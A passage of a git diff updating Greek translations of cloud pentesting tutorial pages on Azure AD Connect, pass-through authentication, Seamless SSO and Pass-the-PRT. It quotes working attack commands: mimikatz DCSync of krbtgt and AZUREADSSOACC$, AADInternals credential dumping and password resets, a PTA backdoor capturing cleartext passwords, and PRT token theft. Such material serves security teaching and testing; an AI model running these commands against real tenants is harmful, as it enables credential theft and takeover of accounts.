με **DPAPI** και περιέχει τους **κωδικούς πρόσβασης του `MSOL_*`** χρήστη στο τοπικό AD και τον κωδικό πρόσβασης του **Sync\_\*** στο AzureAD. Επομένως, η παραβίαση αυτών επιτρέπει την ανύψωση προνομίων στο AD και στο AzureAD. +Η **κρυπτογραφημένη διαμόρφωση** είναι κρυπτογραφημένη με **DPAPI** και περιέχει τους **κωδικούς πρόσβασης του χρήστη `MSOL_*`** στο τοπικό AD και τον κωδικό πρόσβασης του **Sync\_\*** στο AzureAD. Επομένως, η παραβίαση αυτών επιτρέπει την ανύψωση προνομίων στο AD και στο AzureAD. Μπορείτε να βρείτε μια [πλήρη επισκόπηση του πώς αποθηκεύονται και αποκρυπτογραφούνται αυτά τα διαπιστευτήρια σε αυτή την ομιλία](https://www.youtube.com/watch?v=JEIR5oGCwdg). ### Finding the **Azure AD connect server** -Εάν ο **διακομιστής όπου είναι εγκατεστημένο το Azure AD connect** είναι συνδεδεμένος στο domain (συνιστάται στα έγγραφα), είναι δυνατή η εύρεση του με: -```powershell +Εάν ο **διακομιστής όπου είναι εγκατεστημένο το Azure AD connect** είναι συνδεδεμένος σε τομέα (συνιστάται στα έγγραφα), είναι δυνατή η εύρεση του με: +```bash # ActiveDirectory module Get-ADUser -Filter "samAccountName -like 'MSOL_*'" - Properties * | select SamAccountName,Description | fl #Azure AD module Get-AzureADUser -All $true | ?{$_.userPrincipalName -match "Sync_"} ``` -### Κατάχρηση MSOL\_\* -```powershell +### Κατάχρηση MSOL\_* +```bash # Once the Azure AD connect server is compromised you can extract credentials with the AADInternals module Get-AADIntSyncCredentials @@ -59,10 +59,10 @@ Invoke-Mimikatz -Command '"lsadump::dcsync /user:domain\krbtgt /domain:domain.lo > [!CAUTION] > Μπορείτε επίσης να χρησιμοποιήσετε [**adconnectdump**](https://github.com/dirkjanm/adconnectdump) για να αποκτήσετε αυτά τα διαπιστευτήρια. -### Κατάχρηση Sync\_\* +### Abusing Sync\_\* Η παραβίαση του **`Sync_*`** λογαριασμού επιτρέπει την **επανεκκίνηση του κωδικού πρόσβασης** οποιουδήποτε χρήστη (συμπεριλαμβανομένων των Παγκόσμιων Διαχειριστών) -```powershell +```bash # This command, run previously, will give us alse the creds of this account Get-AADIntSyncCredentials @@ -82,8 +82,8 @@ Set-AADIntUserPassword -SourceAnchor "3Uyg19ej4AHDe0+3Lkc37Y9=" -Password "JustA # Now it's possible to access Azure AD with the new password and op-prem with the old one (password changes aren't sync) ``` -Είναι επίσης δυνατό να **τροποποιήσετε τους κωδικούς πρόσβασης μόνο των χρηστών του cloud** (ακόμα και αν αυτό είναι απροσδόκητο) -```powershell +Είναι επίσης δυνατό να **τροποποιηθούν οι κωδικοί πρόσβασης μόνο των χρηστών του cloud** (ακόμα και αν αυτό είναι απροσδόκητο) +```bash # To reset the password of cloud only user, we need their CloudAnchor that can be calculated from their cloud objectID # The CloudAnchor is of the format USER_ObjectID. Get-AADIntUsers | ?{$_.DirSyncEnabled -ne "True"} | select UserPrincipalName,ObjectID @@ -94,7 +94,7 @@ Set-AADIntUserPassword -CloudAnchor "User_19385ed9-sb37-c398-b362-12c387b36e37" Είναι επίσης δυνατό να εκχυθεί ο κωδικός πρόσβασης αυτού του χρήστη. > [!CAUTION] -> Μια άλλη επιλογή θα ήταν να **ανατεθούν προνομιακές άδειες σε έναν υπηρεσιακό κύριο**, τον οποίο ο χρήστης **Sync** έχει **δικαιώματα** να κάνει, και στη συνέχεια να **προσεγγιστεί αυτός ο υπηρεσιακός κύριος** ως τρόπος privesc. +> Μια άλλη επιλογή θα ήταν να **ανατεθούν προνομιακές άδειες σε έναν service principal**, τις οποίες ο χρήστης **Sync** έχει **δικαιώματα** να κάνει, και στη συνέχεια να **προσεγγιστεί αυτός ο service principal** ως τρόπος privesc. ### Seamless SSO diff --git a/src/pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/azure-ad-connect-hybrid-identity/pta-pass-through-authentication.md b/src/pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/azure-ad-connect-hybrid-identity/pta-pass-through-authentication.md index 3a3f0d658..74ec6d58b 100644 --- a/src/pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/azure-ad-connect-hybrid-identity/pta-pass-through-authentication.md +++ b/src/pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/azure-ad-connect-hybrid-identity/pta-pass-through-authentication.md @@ -4,36 +4,36 @@ ## Basic Information -[From the docs:](https://learn.microsoft.com/en-us/entra/identity/hybrid/connect/how-to-connect-pta) Η Πιστοποίηση Pass-through του Azure Active Directory (Azure AD) επιτρέπει στους χρήστες σας να **συνδέονται σε εφαρμογές τόσο τοπικές όσο και βασισμένες στο cloud χρησιμοποιώντας τους ίδιους κωδικούς πρόσβασης**. Αυτή η δυνατότητα παρέχει στους χρήστες σας μια καλύτερη εμπειρία - ένας λιγότερος κωδικός πρόσβασης για να θυμούνται, και μειώνει τα κόστη του IT helpdesk επειδή οι χρήστες σας είναι λιγότερο πιθανό να ξεχάσουν πώς να συνδεθούν. Όταν οι χρήστες συνδέονται χρησιμοποιώντας το Azure AD, αυτή η δυνατότητα **επικυρώνει τους κωδικούς πρόσβασης των χρηστών απευθείας με το τοπικό Active Directory**. +[From the docs:](https://learn.microsoft.com/en-us/entra/identity/hybrid/connect/how-to-connect-pta) Η Πιστοποίηση Pass-through του Azure Active Directory (Azure AD) επιτρέπει στους χρήστες σας να **συνδέονται τόσο σε τοπικές όσο και σε εφαρμογές που βασίζονται στο cloud χρησιμοποιώντας τους ίδιους κωδικούς πρόσβασης**. Αυτή η δυνατότητα παρέχει στους χρήστες σας μια καλύτερη εμπειρία - ένας λιγότερος κωδικός πρόσβασης για να θυμούνται, και μειώνει τα κόστη του IT helpdesk επειδή οι χρήστες σας είναι λιγότερο πιθανό να ξεχάσουν πώς να συνδεθούν. Όταν οι χρήστες συνδέονται χρησιμοποιώντας το Azure AD, αυτή η δυνατότητα **επικυρώνει τους κωδικούς πρόσβασης των χρηστών απευθείας με το τοπικό Active Directory**. Στην PTA οι **ταυτότητες** είναι **συγχρονισμένες** αλλά οι **κωδικοί πρόσβασης** **δεν είναι** όπως στην PHS. -Η πιστοποίηση επικυρώνεται στο τοπικό AD και η επικοινωνία με το cloud γίνεται μέσω ενός **πράκτορα πιστοποίησης** που εκτελείται σε έναν **τοπικό διακομιστή** (δεν χρειάζεται να είναι στον τοπικό DC). +Η πιστοποίηση επικυρώνεται στο τοπικό AD και η επικοινωνία με το cloud γίνεται από έναν **πράκτορα πιστοποίησης** που εκτελείται σε έναν **τοπικό διακομιστή** (δεν χρειάζεται να είναι στον τοπικό DC). ### Authentication flow
1. Για να **συνδεθεί** ο χρήστης ανακατευθύνεται στο **Azure AD**, όπου στέλνει το **όνομα χρήστη** και τον **κωδικό πρόσβασης** -2. Οι **διαπιστευτήρια** είναι **κρυπτογραφημένα** και τοποθετούνται σε μια **ουρά** στο Azure AD -3. Ο **τοπικός πράκτορας πιστοποίησης** συλλέγει τα **διαπιστευτήρια** από την ουρά και τα **αποκρυπτογραφεί**. Αυτός ο πράκτορας ονομάζεται **"Πράκτορας πιστοποίησης pass-through"** ή **πράκτορας PTA.** -4. Ο **πράκτορας** **επικυρώνει** τα διαπιστευτήρια με το **τοπικό AD** και στέλνει την **απάντηση** **πίσω** στο Azure AD, το οποίο, αν η απάντηση είναι θετική, **ολοκληρώνει τη σύνδεση** του χρήστη. +2. Οι **διαπιστευτήριες** είναι **κρυπτογραφημένες** και τοποθετούνται σε μια **ουρά** στο Azure AD +3. Ο **τοπικός πράκτορας πιστοποίησης** συλλέγει τις **διαπιστευτήριες** από την ουρά και τις **αποκρυπτογραφεί**. Αυτός ο πράκτορας ονομάζεται **"Πράκτορας πιστοποίησης pass-through"** ή **πράκτορας PTA.** +4. Ο **πράκτορας** **επικυρώνει** τις διαπιστευτήριες με το **τοπικό AD** και στέλνει την **απάντηση** **πίσω** στο Azure AD, το οποίο, αν η απάντηση είναι θετική, **ολοκληρώνει τη σύνδεση** του χρήστη. > [!WARNING] -> Εάν ένας επιτιθέμενος **παραβιάσει** την **PTA** μπορεί να **δει** όλα τα **διαπιστευτήρια** από την ουρά (σε **καθαρό κείμενο**).\ -> Μπορεί επίσης να **επικυρώσει οποιαδήποτε διαπιστευτήρια** στο AzureAD (παρόμοια επίθεση με το Skeleton key). +> Εάν ένας επιτιθέμενος **παραβιάσει** την **PTA** μπορεί να **δεί** όλες τις **διαπιστευτήριες** από την ουρά (σε **καθαρό κείμενο**).\ +> Μπορεί επίσης να **επικυρώσει οποιεσδήποτε διαπιστευτήριες** στο AzureAD (παρόμοια επίθεση με το Skeleton key). ### On-Prem -> cloud Εάν έχετε **διαχειριστική** πρόσβαση στον **διακομιστή Azure AD Connect** με τον **πράκτορα PTA** να εκτελείται, μπορείτε να χρησιμοποιήσετε το **AADInternals** module για να **εισάγετε μια πίσω πόρτα** που θα **επικυρώνει ΟΛΟΥΣ τους κωδικούς πρόσβασης** που εισάγονται (έτσι όλοι οι κωδικοί πρόσβασης θα είναι έγκυροι για πιστοποίηση): -```powershell +```bash Install-AADIntPTASpy ``` > [!NOTE] > Αν η **εγκατάσταση αποτύχει**, αυτό πιθανώς οφείλεται σε ελλείποντα [Microsoft Visual C++ 2015 Redistributables](https://download.microsoft.com/download/6/A/A/6AA4EDFF-645B-48C5-81CC-ED5963AEAD48/vc_redist.x64.exe). -Είναι επίσης δυνατό να **δείτε τους κωδικούς πρόσβασης σε καθαρό κείμενο που αποστέλλονται στον πράκτορα PTA** χρησιμοποιώντας το παρακάτω cmdlet στη μηχανή όπου είχε εγκατασταθεί η προηγούμενη πίσω πόρτα: -```powershell +Είναι επίσης δυνατό να **δείτε τους κωδικούς πρόσβασης σε καθαρό κείμενο που αποστέλλονται στον πράκτορα PTA** χρησιμοποιώντας το παρακάτω cmdlet στη μηχανή όπου εγκαταστάθηκε η προηγούμενη πίσω πόρτα: +```bash Get-AADIntPTASpyLog -DecodePasswords ``` Αυτή η πίσω πόρτα θα: @@ -48,7 +48,7 @@ Get-AADIntPTASpyLog -DecodePasswords ### Cloud -> On-Prem > [!CAUTION] -> Αφού αποκτήσουμε **GA privileges** στο cloud, είναι δυνατό να **καταχωρήσουμε έναν νέο PTA agent** ρυθμίζοντάς τον σε μια **μηχανή ελεγχόμενη από τον επιτιθέμενο**. Μόλις ο agent είναι **ρυθμισμένος**, μπορούμε να **επαναλάβουμε** τα **προηγούμενα** βήματα για **να αυθεντικοποιηθούμε χρησιμοποιώντας οποιονδήποτε κωδικό πρόσβασης** και επίσης, **να αποκτήσουμε τους κωδικούς πρόσβασης σε καθαρό κείμενο.** +> Αφού αποκτήσουμε **GA privileges** στο cloud, είναι δυνατό να **καταχωρήσουμε έναν νέο PTA agent** ρυθμίζοντάς τον σε μια **μηχανή ελεγχόμενη από επιτιθέμενο**. Μόλις ο agent είναι **ρυθμισμένος**, μπορούμε να **επαναλάβουμε** τα **προηγούμενα** βήματα για **να αυθεντικοποιηθούμε χρησιμοποιώντας οποιονδήποτε κωδικό πρόσβασης** και επίσης, **να αποκτήσουμε τους κωδικούς πρόσβασης σε καθαρό κείμενο.** ### Seamless SSO diff --git a/src/pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/azure-ad-connect-hybrid-identity/seamless-sso.md b/src/pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/azure-ad-connect-hybrid-identity/seamless-sso.md index 5dd391771..f1cb91d83 100644 --- a/src/pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/azure-ad-connect-hybrid-identity/seamless-sso.md +++ b/src/pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/azure-ad-connect-hybrid-identity/seamless-sso.md @@ -4,7 +4,7 @@ ## Basic Information -[From the docs:](https://learn.microsoft.com/en-us/entra/identity/hybrid/connect/how-to-connect-sso) Το Azure Active Directory Seamless Single Sign-On (Azure AD Seamless SSO) **συνδέει αυτόματα τους χρήστες όταν βρίσκονται σε εταιρικές συσκευές** που είναι συνδεδεμένες στο εταιρικό σας δίκτυο. Όταν είναι ενεργοποιημένο, **οι χρήστες δεν χρειάζεται να πληκτρολογούν τους κωδικούς πρόσβασής τους για να συνδεθούν στο Azure AD**, και συνήθως, ούτε καν να πληκτρολογούν τα ονόματα χρήστη τους. Αυτή η δυνατότητα παρέχει στους χρήστες σας εύκολη πρόσβαση στις εφαρμογές σας που βασίζονται στο cloud χωρίς να χρειάζονται επιπλέον τοπικά στοιχεία. +[Από τα έγγραφα:](https://learn.microsoft.com/en-us/entra/identity/hybrid/connect/how-to-connect-sso) Το Azure Active Directory Seamless Single Sign-On (Azure AD Seamless SSO) **συνδέει αυτόματα τους χρήστες όταν βρίσκονται σε εταιρικές συσκευές** που είναι συνδεδεμένες στο εταιρικό σας δίκτυο. Όταν είναι ενεργοποιημένο, **οι χρήστες δεν χρειάζεται να πληκτρολογούν τους κωδικούς πρόσβασής τους για να συνδεθούν στο Azure AD**, και συνήθως, ούτε καν να πληκτρολογούν τα ονόματα χρήστη τους. Αυτή η δυνατότητα παρέχει στους χρήστες σας εύκολη πρόσβαση στις εφαρμογές σας που βασίζονται στο cloud χωρίς να χρειάζονται επιπλέον τοπικά στοιχεία.

https://learn.microsoft.com/en-us/entra/identity/hybrid/connect/how-to-connect-sso-how-it-works

@@ -14,14 +14,14 @@ Το Desktop SSO χρησιμοποιεί **Kerberos** για την αυθεντικοποίηση. Όταν ρυθμιστεί, το Azure AD Connect δημιουργεί έναν **λογαριασμό υπολογιστή που ονομάζεται AZUREADSSOACC`$`** στο τοπικό AD. Ο κωδικός πρόσβασης του λογαριασμού `AZUREADSSOACC$` **αποστέλλεται ως απλό κείμενο στο Azure AD** κατά τη διάρκεια της ρύθμισης. -Τα **εισιτήρια Kerberos** είναι **κρυπτογραφημένα** χρησιμοποιώντας το **NTHash (MD4)** του κωδικού πρόσβασης και το Azure AD χρησιμοποιεί τον αποσταλμένο κωδικό πρόσβασης για να αποκρυπτογραφήσει τα εισιτήρια. +Οι **εισιτήριοι Kerberos** είναι **κρυπτογραφημένοι** χρησιμοποιώντας το **NTHash (MD4)** του κωδικού πρόσβασης και το Azure AD χρησιμοποιεί τον αποσταλμένο κωδικό πρόσβασης για να αποκρυπτογραφήσει τους εισητήριους. -**Το Azure AD** εκθέτει ένα **endpoint** (https://autologon.microsoftazuread-sso.com) που δέχεται **εισιτήρια** Kerberos. Ο περιηγητής της μηχανής που είναι συνδεδεμένη σε τομέα προωθεί τα εισιτήρια σε αυτό το endpoint για SSO. +**Το Azure AD** εκθέτει ένα **endpoint** (https://autologon.microsoftazuread-sso.com) που δέχεται **εισιτήρια** Kerberos. Ο περιηγητής της μηχανής που είναι συνδεδεμένη σε τομέα προωθεί τα εισητήρια σε αυτό το endpoint για SSO. ### On-prem -> cloud Ο **κωδικός πρόσβασης** του χρήστη **`AZUREADSSOACC$` δεν αλλάζει ποτέ**. Επομένως, ένας διαχειριστής τομέα θα μπορούσε να παραβιάσει το **hash αυτού του λογαριασμού**, και στη συνέχεια να το χρησιμοποιήσει για να **δημιουργήσει ασημένια εισιτήρια** για να συνδεθεί στο Azure με **οποιονδήποτε τοπικό χρήστη συγχρονισμένο**: -```powershell +```bash # Dump hash using mimikatz Invoke-Mimikatz -Command '"lsadump::dcsync /user:domain\azureadssoacc$ /domain:domain.local /dc:dc.domain.local"' mimikatz.exe "lsadump::dcsync /user:AZUREADSSOACC$" exit @@ -39,7 +39,7 @@ $key = Get-BootKey -SystemHivePath 'C:\temp\registry\SYSTEM' (Get-ADDBAccount -SamAccountName 'AZUREADSSOACC$' -DBPath 'C:\temp\Active Directory\ntds.dit' -BootKey $key).NTHash | Format-Hexos ``` Με το hash μπορείτε τώρα **να δημιουργήσετε ασημένια εισιτήρια**: -```powershell +```bash # Get users and SIDs Get-AzureADUser | Select UserPrincipalName,OnPremisesSecurityIdentifier @@ -77,13 +77,13 @@ Send-AADIntOutlookMessage -AccessToken $at -Recipient "someone@company.com" -Sub - **TGT ενός συμβιβασμένου χρήστη:** Ακόμα και αν δεν έχετε ένα, αλλά ο χρήστης έχει συμβιβαστεί, μπορείτε να αποκτήσετε ένα χρησιμοποιώντας το κόλπο ψεύτικης TGT delegation που έχει υλοποιηθεί σε πολλά εργαλεία όπως το [Kekeo](https://x.com/gentilkiwi/status/998219775485661184) και το [Rubeus](https://posts.specterops.io/rubeus-now-with-more-kekeo-6f57d91079b9). - **Golden Ticket**: Αν έχετε το κλειδί KRBTGT, μπορείτε να δημιουργήσετε το TGT που χρειάζεστε για τον επιτιθέμενο χρήστη. - **NTLM hash ή AES key ενός συμβιβασμένου χρήστη:** Το SeamlessPass θα επικοινωνήσει με τον domain controller με αυτές τις πληροφορίες για να δημιουργήσει το TGT. -- **NTLM hash ή AES key του λογαριασμού AZUREADSSOACC$:** Με αυτές τις πληροφορίες και τον Security Identifier (SID) του χρήστη που θέλετε να επιτεθείτε, είναι δυνατό να δημιουργήσετε ένα service ticket και να αυθεντικοποιηθείτε με το cloud (όπως εκτελέστηκε στην προηγούμενη μέθοδο). +- **NTLM hash ή AES key του λογαριασμού AZUREADSSOACC$:** Με αυτές τις πληροφορίες και τον Security Identifier (SID) του χρήστη που επιτίθεστε, είναι δυνατό να δημιουργήσετε ένα service ticket και να αυθεντικοποιηθείτε με το cloud (όπως εκτελέστηκε στην προηγούμενη μέθοδο). Τέλος, με το TGT είναι δυνατό να χρησιμοποιήσετε το εργαλείο [**SeamlessPass**](https://github.com/Malcrove/SeamlessPass) με: ``` seamlesspass -tenant corp.com -domain corp.local -dc dc.corp.local -tgt ``` -Περισσότερες πληροφορίες για να ρυθμίσετε το Firefox να λειτουργεί με seamless SSO μπορούν να [**βρεθούν σε αυτήν την ανάρτηση ιστολογίου**](https://malcrove.com/seamlesspass-leveraging-kerberos-tickets-to-access-the-cloud/). +Περισσότερες πληροφορίες για να ρυθμίσετε το Firefox να λειτουργεί με seamless SSO μπορούν να [**βρεθούν σε αυτήν την ανάρτηση blog**](https://malcrove.com/seamlesspass-leveraging-kerberos-tickets-to-access-the-cloud/). #### ~~Δημιουργία Kerberos tickets για χρήστες μόνο στο cloud~~ @@ -91,11 +91,11 @@ seamlesspass -tenant corp.com -domain corp.local -dc dc.corp.local -tgt [!CAUTION] > Η αλλαγή του SID των χρηστών διαχειριστών μόνο στο cloud είναι τώρα **μπλοκαρισμένη από τη Microsoft**.\ -> Για πληροφορίες ελέγξτε [https://aadinternals.com/post/on-prem_admin/](https://aadinternals.com/post/on-prem_admin/) +> Για πληροφορίες δείτε [https://aadinternals.com/post/on-prem_admin/](https://aadinternals.com/post/on-prem_admin/) ### On-prem -> Cloud μέσω Resource Based Constrained Delegation -Οποιοσδήποτε μπορεί να διαχειριστεί λογαριασμούς υπολογιστών (`AZUREADSSOACC$`) στο κοντέινερ ή OU όπου βρίσκεται αυτός ο λογαριασμός, μπορεί να **ρυθμίσει μια περιορισμένη ανάθεση πόρων πάνω στον λογαριασμό και να έχει πρόσβαση σε αυτόν**. +Οποιοσδήποτε μπορεί να διαχειριστεί λογαριασμούς υπολογιστών (`AZUREADSSOACC$`) στο κοντέινερ ή OU όπου βρίσκεται αυτός ο λογαριασμός, μπορεί να **ρυθμίσει μια περιορισμένη ανάθεση πόρων πάνω από τον λογαριασμό και να έχει πρόσβαση σε αυτόν**. ```python python rbdel.py -u \\ -p azureadssosvc$ ``` diff --git a/src/pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/pass-the-prt.md b/src/pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/pass-the-prt.md index 4454fdc53..d7d1740f7 100644 --- a/src/pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/pass-the-prt.md +++ b/src/pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/pass-the-prt.md @@ -8,7 +8,7 @@ az-primary-refresh-token-prt.md {{#endref}} -### Ελέγξτε αν έχετε ένα PRT +### Έλεγχος αν έχετε ένα PRT ``` Dsregcmd.exe /status ``` @@ -57,11 +57,11 @@ Dsregcmd.exe /status ### Επίθεση - ROADtoken -Για περισσότερες πληροφορίες σχετικά με αυτόν τον τρόπο [**ελέγξτε αυτή την ανάρτηση**](https://dirkjanm.io/abusing-azure-ad-sso-with-the-primary-refresh-token/). Το ROADtoken θα εκτελέσει το **`BrowserCore.exe`** από τον σωστό κατάλογο και θα το χρησιμοποιήσει για να **αποκτήσει ένα PRT cookie**. Αυτό το cookie μπορεί στη συνέχεια να χρησιμοποιηθεί με τα ROADtools για να πιστοποιήσει και να **αποκτήσει ένα μόνιμο refresh token**. +Για περισσότερες πληροφορίες σχετικά με αυτόν τον τρόπο [**ελέγξτε αυτήν την ανάρτηση**](https://dirkjanm.io/abusing-azure-ad-sso-with-the-primary-refresh-token/). Το ROADtoken θα εκτελέσει το **`BrowserCore.exe`** από τον σωστό κατάλογο και θα το χρησιμοποιήσει για να **αποκτήσει ένα PRT cookie**. Αυτό το cookie μπορεί στη συνέχεια να χρησιμοποιηθεί με τα ROADtools για να πιστοποιήσει και να **αποκτήσει ένα μόνιμο refresh token**. Για να δημιουργήσετε ένα έγκυρο PRT cookie, το πρώτο πράγμα που χρειάζεστε είναι ένα nonce.\ Μπορείτε να το αποκτήσετε με: -```powershell +```bash $TenantId = "19a03645-a17b-129e-a8eb-109ea7644bed" $URL = "https://login.microsoftonline.com/$TenantId/oauth2/token" @@ -77,31 +77,31 @@ $Result.Nonce AwABAAAAAAACAOz_BAD0_8vU8dH9Bb0ciqF_haudN2OkDdyluIE2zHStmEQdUVbiSUaQi_EdsWfi1 9-EKrlyme4TaOHIBG24v-FBV96nHNMgAA ``` Ή χρησιμοποιώντας [**roadrecon**](https://github.com/dirkjanm/ROADtools): -```powershell +```bash roadrecon auth prt-init ``` Μπορείτε να χρησιμοποιήσετε [**roadtoken**](https://github.com/dirkjanm/ROADtoken) για να αποκτήσετε ένα νέο PRT (τρέξτε το εργαλείο από μια διαδικασία του χρήστη που θέλετε να επιτεθείτε): -```powershell +```bash .\ROADtoken.exe ``` Ως μία γραμμή: -```powershell +```bash Invoke-Command - Session $ps_sess -ScriptBlock{C:\Users\Public\PsExec64.exe - accepteula -s "cmd.exe" " /c C:\Users\Public\SessionExecCommand.exe UserToImpersonate C:\Users\Public\ROADToken.exe AwABAAAAAAACAOz_BAD0__kdshsy61GF75SGhs_[...] > C:\Users\Public\PRT.txt"} ``` Στη συνέχεια, μπορείτε να χρησιμοποιήσετε το **generated cookie** για να **generate tokens** για **login** χρησιμοποιώντας Azure AD **Graph** ή Microsoft Graph: -```powershell +```bash # Generate roadrecon auth --prt-cookie # Connect Connect-AzureAD --AadAccessToken --AccountId ``` -### Επίθεση - Χρήση του roadrecon +### Επίθεση - Χρήση roadrecon -### Επίθεση - Χρήση του AADInternals και ενός διαρρεύσαντος PRT +### Επίθεση - Χρήση AADInternals και ενός leaked PRT `Get-AADIntUserPRTToken` **λαμβάνει το PRT token του χρήστη** από τον υπολογιστή που είναι συνδεδεμένος στο Azure AD ή Hybrid. Χρησιμοποιεί το `BrowserCore.exe` για να αποκτήσει το PRT token. -```powershell +```bash # Get the PRToken $prtToken = Get-AADIntUserPRTToken @@ -109,7 +109,7 @@ $prtToken = Get-AADIntUserPRTToken Get-AADIntAccessTokenForAADGraph -PRTToken $prtToken ``` Ή αν έχετε τις τιμές από το Mimikatz μπορείτε επίσης να χρησιμοποιήσετε το AADInternals για να δημιουργήσετε ένα token: -```powershell +```bash # Mimikat "PRT" value $MimikatzPRT="MC5BWU..." @@ -166,7 +166,7 @@ HttpOnly: Set to True (checked) > Αυτό δεν θα λειτουργήσει ακριβώς μετά τις διορθώσεις του Αυγούστου 2021 για να αποκτήσετε τα PRT tokens άλλων χρηστών, καθώς μόνο ο χρήστης μπορεί να αποκτήσει το PRT του (ένας τοπικός διαχειριστής δεν μπορεί να έχει πρόσβαση στα PRT άλλων χρηστών), αλλά μπορεί να έχει πρόσβαση στο δικό του. Μπορείτε να χρησιμοποιήσετε το **mimikatz** για να εξάγετε το PRT: -```powershell +```bash mimikatz.exe Privilege::debug Sekurlsa::cloudap @@ -187,7 +187,7 @@ Invoke-Mimikatz -Command '"privilege::debug" "sekurlsa::cloudap"' > [!NOTE] > Αν δεν δείτε κανένα δεδομένο PRT, μπορεί να είναι ότι **δεν έχετε κανένα PRT** επειδή η συσκευή σας δεν είναι συνδεδεμένη με το Azure AD ή μπορεί να τρέχετε **παλιά έκδοση** των Windows 10. -Για να **αποκρυπτογραφήσετε** το session key, πρέπει να **ανυψώσετε** τα προνόμιά σας σε **SYSTEM** για να τρέξετε υπό το πλαίσιο του υπολογιστή ώστε να μπορέσετε να χρησιμοποιήσετε το **DPAPI masterkey για να το αποκρυπτογραφήσετε**. Μπορείτε να χρησιμοποιήσετε τις παρακάτω εντολές για να το κάνετε αυτό: +Για να **αποκρυπτογραφήσετε** το session key, πρέπει να **ανυψώσετε** τα δικαιώματά σας σε **SYSTEM** για να τρέξετε υπό το πλαίσιο του υπολογιστή ώστε να μπορείτε να χρησιμοποιήσετε το **DPAPI masterkey για να το αποκρυπτογραφήσετε**. Μπορείτε να χρησιμοποιήσετε τις παρακάτω εντολές για να το κάνετε αυτό: ``` token::elevate dpapi::cloudapkd /keyvalue:[PASTE ProofOfPosessionKey HERE] /unprotect @@ -222,13 +222,13 @@ HttpOnly: Set to True (checked) > [!CAUTION] > Το υπόλοιπο θα πρέπει να είναι τα προεπιλεγμένα. Βεβαιωθείτε ότι μπορείτε να ανανεώσετε τη σελίδα και το cookie δεν εξαφανίζεται, αν το κάνει, μπορεί να έχετε κάνει ένα λάθος και θα πρέπει να περάσετε ξανά από τη διαδικασία. Αν δεν το κάνει, θα είστε εντάξει. -#### Επιλογή 2 - roadrecon χρησιμοποιώντας PRT +#### Option 2 - roadrecon using PRT - Ανανεώστε πρώτα το PRT, το οποίο θα αποθηκευτεί στο `roadtx.prt`: ```bash roadtx prt -a renew --prt --prt-sessionkey ``` -- Τώρα μπορούμε να **αιτήσουμε tokens** χρησιμοποιώντας τον διαδραστικό περιηγητή με `roadtx browserprtauth`. Αν χρησιμοποιήσουμε την εντολή `roadtx describe`, βλέπουμε ότι το access token περιλαμβάνει μια αξίωση MFA επειδή το PRT που χρησιμοποίησα σε αυτή την περίπτωση είχε επίσης μια αξίωση MFA. +- Τώρα μπορούμε να **ζητήσουμε tokens** χρησιμοποιώντας τον διαδραστικό περιηγητή με `roadtx browserprtauth`. Αν χρησιμοποιήσουμε την εντολή `roadtx describe`, βλέπουμε ότι το access token περιλαμβάνει μια αξίωση MFA επειδή το PRT που χρησιμοποίησα σε αυτή την περίπτωση είχε επίσης μια αξίωση MFA. ```bash roadtx browserprtauth roadtx describe < .roadtools_auth @@ -237,7 +237,7 @@ roadtx describe < .roadtools_auth #### Επιλογή 3 - roadrecon χρησιμοποιώντας παραγόμενα κλειδιά -Έχοντας το πλαίσιο και το παραγόμενο κλειδί που έχει απορριφθεί από το mimikatz, είναι δυνατόν να χρησιμοποιηθεί το roadrecon για να παραχθεί ένα νέο υπογεγραμμένο cookie με: +Έχοντας το πλαίσιο και το παραγόμενο κλειδί που εξήχθη από το mimikatz, είναι δυνατόν να χρησιμοποιηθεί το roadrecon για να παραχθεί ένα νέο υπογεγραμμένο cookie με: ```bash roadrecon auth --prt-cookie --prt-context --derives-key ``` diff --git a/src/pentesting-cloud/azure-security/az-permissions-for-a-pentest.md b/src/pentesting-cloud/azure-security/az-permissions-for-a-pentest.md index 282743715..d94e33bf4 100644 --- a/src/pentesting-cloud/azure-security/az-permissions-for-a-pentest.md +++ b/src/pentesting-cloud/azure-security/az-permissions-for-a-pentest.md @@ -2,6 +2,8 @@ {{#include ../../banners/hacktricks-training.md}} -Για να ξεκινήσετε τις δοκιμές, θα πρέπει να έχετε πρόσβαση με έναν χρήστη με **δικαιώματα Αναγνώστη πάνω στη συνδρομή** και **ρόλο Παγκόσμιου Αναγνώστη στο AzureAD**. Αν ακόμα και σε αυτή την περίπτωση **δεν μπορείτε να αποκτήσετε πρόσβαση στο περιεχόμενο των Λογαριασμών Αποθήκευσης**, μπορείτε να το διορθώσετε με τον **ρόλο Συνεισφέροντα Λογαριασμού Αποθήκευσης**. +Για να ξεκινήσετε μια ανασκόπηση σκληρής ασφάλισης κάποιων Entra ID tenats, πρέπει να ζητήσετε **ρόλο Global Reader σε κάθε tenant**. Επιπλέον, για να εκτελέσετε μια ανασκόπηση σκληρής ασφάλισης διαφορετικών Azure subscriptions, θα χρειαστείτε τουλάχιστον **δικαιώματα Reader σε όλες τις συνδρομές**. + +Σημειώστε ότι αν αυτοί οι ρόλοι δεν είναι αρκετοί για να έχετε πρόσβαση σε όλες τις πληροφορίες που χρειάζεστε, μπορείτε επίσης να ζητήσετε από τον πελάτη ρόλους με τα δικαιώματα που χρειάζεστε. Απλώς προσπαθήστε να **ελαχιστοποιήσετε την ποσότητα των μη αναγνωστικών δικαιωμάτων που ζητάτε!** {{#include ../../banners/hacktricks-training.md}} diff --git a/src/pentesting-cloud/azure-security/az-persistence/README.md b/src/pentesting-cloud/azure-security/az-persistence/README.md index 7995bb80d..20cadc957 100644 --- a/src/pentesting-cloud/azure-security/az-persistence/README.md +++ b/src/pentesting-cloud/azure-security/az-persistence/README.md @@ -2,46 +2,46 @@ {{#include ../../../banners/hacktricks-training.md}} -### Παράνομη Χορήγηση Συγκατάθεσης +### Illicit Consent Grant -Από προεπιλογή, οποιοσδήποτε χρήστης μπορεί να καταχωρήσει μια εφαρμογή στο Azure AD. Έτσι, μπορείτε να καταχωρήσετε μια εφαρμογή (μόνο για τον στοχοθετημένο 